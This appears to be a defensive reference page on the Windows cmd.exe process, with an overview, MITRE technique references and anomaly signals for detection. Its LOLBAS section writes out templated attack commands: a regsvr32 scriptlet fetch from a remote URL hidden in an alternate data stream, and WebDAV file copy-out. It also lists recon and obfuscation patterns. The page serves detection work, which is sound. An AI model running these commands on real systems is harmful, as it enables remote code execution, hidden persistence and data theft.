Process

unknown

cmd.exe

cmd.exe is the Windows Command Processor, the classic command-line interpreter for Windows. It runs typed commands and batch scripts (.bat and .cmd files), provides built-in commands like dir, copy, and set, and chains programs together with operators. It predates PowerShell and is still the default shell behind countless scripts, installers, and automation tasks.

File identity

File details

Not observed.

Signing information

Not observed.

File version0

Not observed.

File size0

Not observed.

Execution context

File paths0

Not observed.

User context0

Not observed.

Integrity level0

Not observed.

Instances0

Not observed.

Session0

Not observed.

Token privileges0

Not observed.

Ancestry

Parents0

Not observed.

Children0

Not observed.

Grandparents0

Not observed.

Grandchildren0

Not observed.

Behavior

Loaded modules0

Not observed.

Named pipes0

Not observed.

Process handles0

Not observed.

Command-line patterns0

Not observed.

LOLBAS4
  • cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.batADS · Can be used to evade defensive countermeasures or to hide as a persistence mechanism
  • cmd.exe - < {PATH}:payload.batADS · Can be used to evade defensive countermeasures or to hide as a persistence mechanism
  • type {PATH_SMB} > {PATH_ABSOLUTE}Download · Download/copy a file from a WebDAV server
  • type {PATH_ABSOLUTE} > {PATH_SMB}Upload · Upload a file to a WebDAV server

Indicators

Hashes

Not observed.

Analysis

About this process

cmd.exe is the command shell that has shipped with Windows NT from the start. The genuine binary lives at C:\Windows\System32\cmd.exe, with a 32-bit copy under SysWOW64. It interprets built-in commands (dir, set, copy, del, and the like) directly, runs external programs by name, and executes batch files written in its own simple scripting syntax.

It can run interactively or take a command non-interactively with /c (run the command, then exit) or /k (run it, then stay open). Commands can be combined with the &, &&, and || operators and piped with |. Like any console program it is hosted by conhost.exe.

Its parent is whatever launched it: an interactive explorer.exe session, a batch file, the Task Scheduler, a software installer, or another program shelling out to run a command. As with PowerShell, a broad set of parents is normal, so the process is hard to baseline on its own.

Security notes

cmd.exe is one of the most common living-off-the-land tools on Windows (T1059.003). The signed binary runs reconnaissance, chains utilities together, and launches other LOLBINs, so path and signature checks pass and what gives it away is the command line and the parent. A cmd.exe spawned by an Office application or an internet-facing service process is a strong sign of macro-borne or exploited-service execution.

Attackers obfuscate command lines to slip past detection (T1027.010), using caret escapes, doubled quotes, and environment-variable substitution so that a string like c^m^d or %COMSPEC% reaches the interpreter intact while reading as noise to a scanner.

Hands-on-keyboard activity often surfaces here first. A /c chain of discovery commands (whoami /all, net group, ipconfig /all, systeminfo) run in quick succession is a recognizable pattern of an operator getting their bearings on a freshly accessed host.

Anomaly signals7
  • Image path other than C:\Windows\System32\cmd.exe or its SysWOW64 copyhigh
  • Parent is an Office application, wscript.exe, cscript.exe, or mshta.exehigh
  • Spawned by a server or service process such as w3wp.exe or sqlservr.exehigh
  • A /c line invoking download or proxy LOLBINs (certutil.exe, bitsadmin.exe, powershell.exe -enc)high
  • A /c line running a recon chain (whoami, net, ipconfig, systeminfo, nltest)med
  • Command line obfuscated with caret (^) escapes, stray quotes, or environment-variable substitutionmed
  • Output redirected to an alternate data stream or an unusual temp pathmed

Telemetry

OS prevalence0

Not observed.

Observation timeline

Not observed.

References

Subsearch

Hasbeen seen inof cmd.exe?